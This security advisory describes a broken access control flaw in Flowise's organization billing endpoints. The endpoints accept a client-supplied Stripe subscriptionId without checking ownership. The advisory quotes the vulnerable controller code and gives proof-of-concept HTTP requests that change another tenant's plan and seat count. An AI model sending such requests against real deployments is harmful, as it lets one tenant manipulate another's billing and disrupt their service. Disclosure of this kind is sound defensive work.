Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

Summary

Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.

This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.

Details

Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.

File

packages/server/src/enterprise/routes/organization.route.ts

Affected routes:

router.post('/update-additional-seats', organizationController.updateAdditionalSeats)
router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)
updateSubscriptionPlan

File

packages/server/src/enterprise/controllers/organization.controller.ts

public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, newPlanId, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateSubscriptionPlan(
        req,
        subscriptionId,
        newPlanId,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.

Missing validation:
subscriptionId belongs to req.user.activeOrganization

updateAdditionalSeats

public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, quantity, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateAdditionalSeats(
        subscriptionId,
        quantity,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

Again, the subscriptionId is taken directly from the request body without verifying ownership.

PoC

Step 1 - Obtain victim subscriptionId

This identifier may be obtained via the organization read endpoint or other exposed references.

Example:

sub_YYYYYYYYYYYY

Step 2 - Modify victim subscription

POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "newPlanId": "free_plan_id",
  "prorationDate": 1735689600
}

Step 3 - Change seat quantity

POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "quantity": 0,
  "prorationDate": 1735689600
}

Impact

An authenticated attacker can manipulate the Stripe subscription of other organizations.

Possible consequences include:

• Unauthorized subscription upgrades to higher-priced plans
• Manipulation of paid seat quantities leading to unintended charges
• Service disruption through plan downgrades

Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.